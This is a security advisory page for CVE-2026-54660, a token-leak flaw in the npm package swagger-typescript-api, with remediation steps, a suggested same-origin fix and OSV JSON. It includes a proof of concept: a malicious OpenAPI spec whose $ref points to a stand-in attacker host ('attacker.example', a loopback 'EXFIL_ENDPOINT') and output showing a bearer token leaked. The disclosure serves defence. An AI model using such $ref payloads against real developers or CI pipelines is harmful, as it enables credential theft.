CVE-2026-54660: Swagger typescript api Swagger-typescript-api Vulnerable To Authorization-token Exfiltration Vulnerability

HIGH
Advisory Identifier: GHSA-h754-fxp7-88wx
CVSS 7.4
CWE-522 CWE-918 CWE-200 CWE-201
Published
Advisory Summary

CVE-2026-54660 is a HIGH (CVSS 7.4) swagger-typescript-api vulnerable to authorization-token exfiltration vulnerability (CWE-522: Insufficiently Protected Credentials) affecting Swagger typescript api libraries in the npm ecosystem. The issue involves swagger-typescript-api vulnerable to authorization-token exfiltration via spec `$ref`. Remediation is available by upgrading affected packages to version 13.12.2.

CVE-2026-54660 at a Glance

CVE Identifier CVE-2026-54660
GHSA Identifier GHSA-h754-fxp7-88wx
Severity HIGH
CVSS v3.1 Base Score 7.4
CWE Classification CWE-522: Insufficiently Protected Credentials
Affected Product Swagger typescript api
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-54660

To remediate this vulnerability, upgrade all affected Swagger typescript api dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

swagger-typescript-api fixed: 13.12.2
npm install swagger-typescript-api@13.12.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls swagger-typescript-api

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-54660, inspect your project dependencies using npm:

npm ls swagger-typescript-api

Analyze the terminal output to locate any version of Swagger typescript api in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 13.12.2), your application is affected.

Note: The npm ls swagger-typescript-api command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-522: Insufficiently Protected Credentials, where the product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval. In Swagger typescript api, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary When the developer supplies an `--authorizationToken` (commonly required to fetch a private spec behind authentication), `swagger-typescript-api` attaches that token to the `Authorization` header of **every** subsequent HTTP request it makes while resolving external `$ref` URLs in the spec — with **no same-origin check, no host allowlist, and no scope-down** for cross-origin requests. A malicious OpenAPI spec containing a `$ref` to an attacker-controlled URL therefore causes the developer's bearer token to be sent verbatim to that URL during code generation. The threat model is identical to the SSRF advisory filed alongside this one (companion finding), but with credential disclosure as the primary impact. The token is typically a high-value secret: a GitHub PAT, an OAuth bearer for the API the spec describes, an enterprise SSO token, an AWS-style API key, or similar. Disclosure to an attacker-controlled URL is one curl-equivalent away from full takeover of whatever scope the token grants. ### Details The header-builder lives in `src/resolved-swagger-schema.ts:81-92`: ```ts private getRemoteRequestHeaders(): Record<string, string> { return Object.assign( {}, this.config.authorizationToken ? { Authorization: this.config.authorizationToken, } : {}, (this.config.requestOptions?.headers as | Record<string, string> | undefined) || {}, ); } ``` There is no check that the request's destination URL shares an origin (or scheme, or host, or even top-level domain) with `this.config.url` — the URL the user originally specified. The headers object is unconditional. `getRemoteRequestHeaders` is called by `fetchRemoteSchemaDocument` (`src/resolved-swagger-schema.ts:374`): ```ts const response = await fetch(url, { headers: this.getRemoteRequestHeaders(), }); ``` …which is in turn called by `warmUpRemoteSchemasCache` (`src/resolved-swagger-schema.ts:399-445`) for every external `$ref` URL discovered while walking the spec. Net effect: a spec whose response schema is ```json { "$ref": "http://attacker.example/exfil-endpoint/data.json" } ``` causes the generator to send ``` GET /exfil-endpoint/data.json HTTP/1.1 Host: attacker.example Authorization: <full value of --authorizationToken> ``` to `attacker.example`, regardless of where the original spec was hosted. The `--authorizationToken` flag is the standard mechanism for consuming a spec behind auth — for example, fetching a private GitHub-hosted spec with a Personal Access Token, fetching a vendor API spec behind an OAuth bearer, fetching a Confluence-hosted spec with a session token. Setting `--authorizationToken` is therefore not an exotic configuration; it is the *intended* configuration for any non-public spec. ### PoC Self-contained reproducer in comments (install `swagger-typescript-api@13.12.1` into a local `node_modules`, spin up two loopback HTTP servers — one serving the spec, one pretending to be the attacker's exfil endpoint — run the generator with `authorizationToken` set, observe what the attacker endpoint received). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`. **Payload spec** (served from `http://127.0.0.1:<spec-port>/spec.json`): ```json { "openapi": "3.0.0", "info": { "title": "TokenLeak-payload", "version": "1.0.0" }, "paths": { "/p": { "get": { "operationId": "p", "responses": { "200": { "description": "OK", "content": { "application/json": { "schema": { "$ref": "http://127.0.0.1:<attacker-port>/EXFIL_ENDPOINT/data.json" } } } } } } } } } ``` **Steps:** ```bash # 1. Start a loopback "attacker" HTTP server on a different port from the spec server. # 2. Start a loopback "spec" HTTP server that serves the payload spec above. # 3. Run the generator with --authorizationToken set. npm install swagger-typescript-api@13.12.1 node -e "import('swagger-typescript-api').then(m => m.generateApi({ output: '/tmp/out', url: 'http://127.0.0.1:<spec-port>/spec.json', authorizationToken: 'Bearer USER_GITHUB_PAT_super_secret_xyz123', httpClientType: 'fetch' }))" ``` **Observed:** ``` [control] (no cross-origin $ref) → attacker-server hits: 0 [payload] ($ref → http://attacker) attacker-server hits: 1 hit: /EXFIL_ENDPOINT/data.json Authorization header: Bearer USER_GITHUB_PAT_super_secret_xyz123 TOKEN LEAKED — attacker server received user-supplied authorizationToken verbatim ``` The attacker-controlled endpoint received the developer's full `Bearer ...` token verbatim, sent by the generator while resolving the spec's `$ref`. ### Impact **Type:** Insufficiently Protected Credentials (CWE-522) / Exposure of Sensitive Information to an Unauthorized Actor (CWE-200) / Insertion of Sensitive Information into Sent Data (CWE-201) via missing same-origin check on credentialed HTTP requests. **Affected use cases:** - **A developer fetching a private OpenAPI spec behind authentication** (GitHub-hosted private spec, vendor-API spec on an OAuth-protected URL, Atlassian / Confluence / enterprise wiki-hosted spec) and the spec author is not the developer. This is the literal documented usage of `--authorizationToken`. - **A CI/CD pipeline regenerating clients from a private spec on every build** — the CI's authentication token (often a long-lived service-account credential) leaks on every run. - **A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs** — a tenant's malicious spec captures the SaaS provider's API key. - **Any project where a contributor can modify the pinned spec via PR** — the project's CI credentials leak on first build of the malicious PR. **Lifecycle:** generation-time. The token leak happens when the developer or CI pipeline runs `swagger-typescript-api generate`, not when the generated client is later imported. **Privilege of stolen token:** typically the developer's API authentication for the target service — a GitHub PAT (full source-code read/write to whatever repos the PAT scope allows), an OAuth bearer (full impersonation on the API), an AWS-style key (full account access depending on IAM policy), or a CI service-account token (full CI/CD pipeline access). Token capture is functionally equivalent to credential theft — the attacker gains the same scope of access the developer had. **Suggested fix:** The minimum sufficient fix is a same-origin check on the `Authorization` header forwarding: ```ts // in src/resolved-swagger-schema.ts:81-92 private getRemoteRequestHeaders(targetUrl?: string): Record<string, string> { const headers: Record<string, string> = {}; // Only attach Authorization if the target URL shares an origin with the // user-supplied spec URL. Otherwise the token is leaked across origins. if ( this.config.authorizationToken && targetUrl && this.isSameOrigin(targetUrl, this.config.url) ) { headers.Authorization = this.config.authorizationToken; } return Object.assign( headers, (this.config.requestOptions?.headers as Record<string, string> | undefined) || {}, ); } private isSameOrigin(a: string, b: string | undefined): boolean { if (typeof b !== "string") return false; try { const ua = new URL(a); const ub = new URL(b); return ua.protocol === ub.protocol && ua.host === ub.host; } catch { return false; } } ``` Then update the call site `fetchRemoteSchemaDocument` (`src/resolved-swagger-schema.ts:374`) to pass the destination URL: ```ts const response = await fetch(url, { headers: this.getRemoteRequestHeaders(url), }); ``` This is the same model browsers apply to credentialed `fetch` requests by default. It does not break legitimate same-server `$ref`s — those still authenticate normally. It only strips the token when the target's origin differs from the spec source's origin. For deeper hardening, combine this with the SSRF mitigations recommended in the companion advisory (private-IP filter + custom undici dispatcher with redirect re-validation). The two fixes are complementary: the SSRF guard prevents the request from reaching the attacker at all; the same-origin guard prevents credential leakage even if the request does happen. Submitted by: Hamza Haroon (thegr1ffyn)

CVE-2026-54660 Affected Swagger typescript api Versions

1 component(s)
Fixed Versions:
13.12.2
Product / Package Ecosystem Affected Versions Fixed Version
swagger-typescript-api
npm
< 13.12.2
13.12.2

References

Frequently Asked Questions

What is CVE-2026-54660?
CVE-2026-54660 is a security vulnerability in Swagger typescript api involving swagger-typescript-api vulnerable to authorization-token exfiltration via spec `$ref` under CWE-522: Insufficiently Protected Credentials.
Which Swagger typescript api versions are affected?
Affected versions include releases prior to 13.12.2 across affected packages: swagger-typescript-api.
What version fixes CVE-2026-54660?
Upgrading to 13.12.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is swagger-typescript-api affected?
Yes, swagger-typescript-api is affected in releases prior to 13.12.2. Upgrade your dependency to 13.12.2 or later.
What is the CVSS score of CVE-2026-54660?
CVE-2026-54660 has a CVSS v3.1 base score of 7.4 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-54660?
CVE-2026-54660 is classified under CWE-522: Insufficiently Protected Credentials (The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.).
How can I check npm dependencies for CVE-2026-54660?
Run the dependency tree command: 'npm ls swagger-typescript-api'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h754-fxp7-88wx",
  "modified" : "2026-07-29T14:22:46Z",
  "published" : "2026-07-29T14:22:46Z",
  "aliases" : [ "CVE-2026-54660" ],
  "summary" : "swagger-typescript-api vulnerable to authorization-token exfiltration via spec `$ref`",
  "details" : "### Summary\n\nWhen the developer supplies an `--authorizationToken` (commonly required to fetch a private spec behind authentication), `swagger-typescript-api` attaches that token to the `Authorization` header of **every** subsequent HTTP request it makes while resolving external `$ref` URLs in the spec — with **no same-origin check, no host allowlist, and no scope-down** for cross-origin requests. A malicious OpenAPI spec containing a `$ref` to an attacker-controlled URL therefore causes the developer's bearer token to be sent verbatim to that URL during code generation.\n\nThe threat model is identical to the SSRF advisory filed alongside this one (companion finding), but with credential disclosure as the primary impact. The token is typically a high-value secret: a GitHub PAT, an OAuth bearer for the API the spec describes, an enterprise SSO token, an AWS-style API key, or similar. Disclosure to an attacker-controlled URL is one curl-equivalent away from full takeover of whatever scope the token grants.\n\n### Details\n\nThe header-builder lives in `src/resolved-swagger-schema.ts:81-92`:\n\n```ts\nprivate getRemoteRequestHeaders(): Record<string, string> {\n  return Object.assign(\n    {},\n    this.config.authorizationToken\n      ? {\n          Authorization: this.config.authorizationToken,\n        }\n      : {},\n    (this.config.requestOptions?.headers as\n      | Record<string, string>\n      | undefined) || {},\n  );\n}\n```\n\nThere is no check that the request's destination URL shares an origin (or scheme, or host, or even top-level domain) with `this.config.url` — the URL the user originally specified. The headers object is unconditional.\n\n`getRemoteRequestHeaders` is called by `fetchRemoteSchemaDocument` (`src/resolved-swagger-schema.ts:374`):\n\n```ts\nconst response = await fetch(url, {\n  headers: this.getRemoteRequestHeaders(),\n});\n```\n\n…which is in turn called by `warmUpRemoteSchemasCache` (`src/resolved-swagger-schema.ts:399-445`) for every external `$ref` URL discovered while walking the spec.\n\nNet effect: a spec whose response schema is\n\n```json\n{ \"$ref\": \"http://attacker.example/exfil-endpoint/data.json\" }\n```\n\ncauses the generator to send\n\n```\nGET /exfil-endpoint/data.json HTTP/1.1\nHost: attacker.example\nAuthorization: <full value of --authorizationToken>\n```\n\nto `attacker.example`, regardless of where the original spec was hosted.\n\nThe `--authorizationToken` flag is the standard mechanism for consuming a spec behind auth — for example, fetching a private GitHub-hosted spec with a Personal Access Token, fetching a vendor API spec behind an OAuth bearer, fetching a Confluence-hosted spec with a session token. Setting `--authorizationToken` is therefore not an exotic configuration; it is the *intended* configuration for any non-public spec.\n\n### PoC\n\nSelf-contained reproducer in comments (install `swagger-typescript-api@13.12.1` into a local `node_modules`, spin up two loopback HTTP servers — one serving the spec, one pretending to be the attacker's exfil endpoint — run the generator with `authorizationToken` set, observe what the attacker endpoint received). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Payload spec** (served from `http://127.0.0.1:<spec-port>/spec.json`):\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"TokenLeak-payload\", \"version\": \"1.0.0\" },\n  \"paths\": {\n    \"/p\": {\n      \"get\": {\n        \"operationId\": \"p\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"OK\",\n            \"content\": {\n              \"application/json\": {\n                \"schema\": {\n                  \"$ref\": \"http://127.0.0.1:<attacker-port>/EXFIL_ENDPOINT/data.json\"\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\n# 1. Start a loopback \"attacker\" HTTP server on a different port from the spec server.\n# 2. Start a loopback \"spec\" HTTP server that serves the payload spec above.\n# 3. Run the generator with --authorizationToken set.\nnpm install swagger-typescript-api@13.12.1\nnode -e \"import('swagger-typescript-api').then(m => m.generateApi({\n  output: '/tmp/out',\n  url: 'http://127.0.0.1:<spec-port>/spec.json',\n  authorizationToken: 'Bearer USER_GITHUB_PAT_super_secret_xyz123',\n  httpClientType: 'fetch'\n}))\"\n```\n\n**Observed:**\n\n```\n[control] (no cross-origin $ref) → attacker-server hits: 0\n[payload] ($ref → http://attacker)\n  attacker-server hits: 1\n  hit: /EXFIL_ENDPOINT/data.json  Authorization header: Bearer USER_GITHUB_PAT_super_secret_xyz123\n  TOKEN LEAKED — attacker server received user-supplied authorizationToken verbatim\n```\n\nThe attacker-controlled endpoint received the developer's full `Bearer ...` token verbatim, sent by the generator while resolving the spec's `$ref`.\n\n### Impact\n\n**Type:** Insufficiently Protected Credentials (CWE-522) / Exposure of Sensitive Information to an Unauthorized Actor (CWE-200) / Insertion of Sensitive Information into Sent Data (CWE-201) via missing same-origin check on credentialed HTTP requests.\n\n**Affected use cases:**\n\n- **A developer fetching a private OpenAPI spec behind authentication** (GitHub-hosted private spec, vendor-API spec on an OAuth-protected URL, Atlassian / Confluence / enterprise wiki-hosted spec) and the spec author is not the developer. This is the literal documented usage of `--authorizationToken`.\n- **A CI/CD pipeline regenerating clients from a private spec on every build** — the CI's authentication token (often a long-lived service-account credential) leaks on every run.\n- **A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs** — a tenant's malicious spec captures the SaaS provider's API key.\n- **Any project where a contributor can modify the pinned spec via PR** — the project's CI credentials leak on first build of the malicious PR.\n\n**Lifecycle:** generation-time. The token leak happens when the developer or CI pipeline runs `swagger-typescript-api generate`, not when the generated client is later imported.\n\n**Privilege of stolen token:** typically the developer's API authentication for the target service — a GitHub PAT (full source-code read/write to whatever repos the PAT scope allows), an OAuth bearer (full impersonation on the API), an AWS-style key (full account access depending on IAM policy), or a CI service-account token (full CI/CD pipeline access). Token capture is functionally equivalent to credential theft — the attacker gains the same scope of access the developer had.\n\n**Suggested fix:**\n\nThe minimum sufficient fix is a same-origin check on the `Authorization` header forwarding:\n\n```ts\n// in src/resolved-swagger-schema.ts:81-92\nprivate getRemoteRequestHeaders(targetUrl?: string): Record<string, string> {\n  const headers: Record<string, string> = {};\n\n  // Only attach Authorization if the target URL shares an origin with the\n  // user-supplied spec URL. Otherwise the token is leaked across origins.\n  if (\n    this.config.authorizationToken &&\n    targetUrl &&\n    this.isSameOrigin(targetUrl, this.config.url)\n  ) {\n    headers.Authorization = this.config.authorizationToken;\n  }\n\n  return Object.assign(\n    headers,\n    (this.config.requestOptions?.headers as Record<string, string> | undefined) || {},\n  );\n}\n\nprivate isSameOrigin(a: string, b: string | undefined): boolean {\n  if (typeof b !== \"string\") return false;\n  try {\n    const ua = new URL(a);\n    const ub = new URL(b);\n    return ua.protocol === ub.protocol && ua.host === ub.host;\n  } catch {\n    return false;\n  }\n}\n```\n\nThen update the call site `fetchRemoteSchemaDocument` (`src/resolved-swagger-schema.ts:374`) to pass the destination URL:\n\n```ts\nconst response = await fetch(url, {\n  headers: this.getRemoteRequestHeaders(url),\n});\n```\n\nThis is the same model browsers apply to credentialed `fetch` requests by default. It does not break legitimate same-server `$ref`s — those still authenticate normally. It only strips the token when the target's origin differs from the spec source's origin.\n\nFor deeper hardening, combine this with the SSRF mitigations recommended in the companion advisory (private-IP filter + custom undici dispatcher with redirect re-validation). The two fixes are complementary: the SSRF guard prevents the request from reaching the attacker at all; the same-origin guard prevents credential leakage even if the request does happen.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "swagger-typescript-api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "13.12.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 13.12.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-h754-fxp7-88wx"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/acacode/swagger-typescript-api/pull/1779"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/acacode/swagger-typescript-api"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-201", "CWE-522", "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-29T14:22:46Z",
    "nvd_published_at" : null
  }
}